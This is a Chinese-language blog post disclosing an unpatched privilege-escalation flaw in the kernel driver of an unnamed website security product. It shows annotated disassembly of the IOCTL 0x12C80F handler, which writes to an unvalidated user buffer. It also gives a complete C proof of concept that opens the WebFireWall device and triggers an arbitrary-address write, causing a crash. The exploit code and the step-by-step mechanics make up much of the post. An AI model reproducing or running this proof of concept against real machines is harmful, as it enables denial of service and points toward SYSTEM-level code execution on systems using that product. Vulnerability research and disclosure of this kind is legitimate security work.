继昨晚发现 某网站安全监测系统中存在一处鸡肋0Day 后,刚又通过纯手工方式发现其存在的一处EOP 0Day。这是我研究漏洞以来第一次在不借助Fuzz的情况下找到0Day()。当然,并不是我的洞察力有多强(毕竟我只是一名涉世不深的初学者),而是它的代码实在挫到令人发指——没有金刚钻,何必揽这瓷器活。能在Ring 3层干的事情,为什么非要放在Ring 0来做?更何况做又做不好。简断捷说吧,这个EOP漏洞的成因如下:
这个网站安全监测系统的驱动模块在处理IOCTL_CODE为0x12C80F的IRP时没有对Ring 3层传入的UserBuffer做严格的验证,攻击者如果有机会在机器上运行一个Crafted应用程序,就可能提升权限——以SYSTEM权限执行任意代码。
.text:F8663B33 mov esi, [ebp+Irp] ;ESI points to the IRP
.text:F8663B36 mov eax, [esi+60h] ;EAX points to the IO_STACK_LOCATION
.text:F8663B39 mov ecx, [eax+0Ch] ;ECX equals the DeviceIoControlCode
.text:F8663B3C mov edi, [esi+3Ch] ;EDI equals the UserBuffer in the IRP
.text:F8663B46 sub ecx, 12C80Fh
.text:F8663B4C jz short loc_F8663BC8 ;如果IOCTL_CODE为0x12C80F,则跳转至 loc_F8663BC8
.text:F8663BC8 loc_F8663BC8:
.text:F8663BC8 push edi ;EDI equals the UserBuffer in the IRP
.text:F8663BC9 call sub_F8663A52 ;以从IRP中读取的UserBuffer为参数调用函数sub_F8663A52
函数sub_F8663A52的代码结构非常简单——先是调用了另一个函数sub_F86631FE,然后对返回值做了一番处理,就将其写入到UserBuffer所指向的内存中
.text:F8663A52 mov edi, edi
.text:F8663A54 push ebp
.text:F8663A55 mov ebp, esp
.text:F8663A57 xor eax, eax
.text:F8663A59 inc eax
.text:F8663A5A cmp word_F86678BE, ax
.text:F8663A61 ja short loc_F8663A72
.text:F8663A63 call sub_F86631FE ;调用函数sub_F86631FE
;以下代码为对返回值进行简单的处理
.text:F8663A68 movzx eax, al
.text:F8663A6B neg eax
.text:F8663A6D sbb eax, eax
.text:F8663A6F and eax, 2
.text:F8663A72
.text:F8663A72 loc_F8663A72:
.text:F8663A72 mov ecx, [ebp+arg_0]
.text:F8663A75 mov [ecx], eax ;在没有验证UserBuffer的有效性的情况下就直接进行写内存操作!
.text:F8663A77 pop ebp
.text:F8663A78 retn 4
以下给出一份可导致本地拒绝服务的POC
#include <windows.h>
#include <stdio.h>
#define DEVICE_NAME " \\\\.\\WebFireWall "
#define DEVICE_IOCONTROL_CODE 0x12C80F
int main()
{
HANDLE hDev=INVALID_HANDLE_VALUE;
int nLen=0;
BOOL bRet=FALSE;
DWORD dwBytCnt=0;
hDev=CreateFile(DEVICE_NAME,
GENERIC_ALL,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (INVALID_HANDLE_VALUE==hDev){
printf("[*]CreateFile Error Code:%d\r\n",GetLastError());
goto _EXIT;
}
bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,
(LPVOID)0x0c0c0c0c,0x4,
(LPVOID)0xc0c0c0c,0x4,
&dwBytCnt,NULL);
if (false==bRet){
printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError());
}
else{
printf("[*]Success!\r\n");
}
_EXIT:
if (INVALID_HANDLE_VALUE!=hDev){
CloseHandle(hDev);
}
getchar();
return 0;
}
可以看到,向0x0C0C0C0C写入一个4字节0时触发内存访问异常。至于通过这个任意地址写入来EOP,就没必要细说了,懂的人自然会懂
查看更多关于某网站安全检测系统的一个EOP 0Day - 网站安全的详细内容...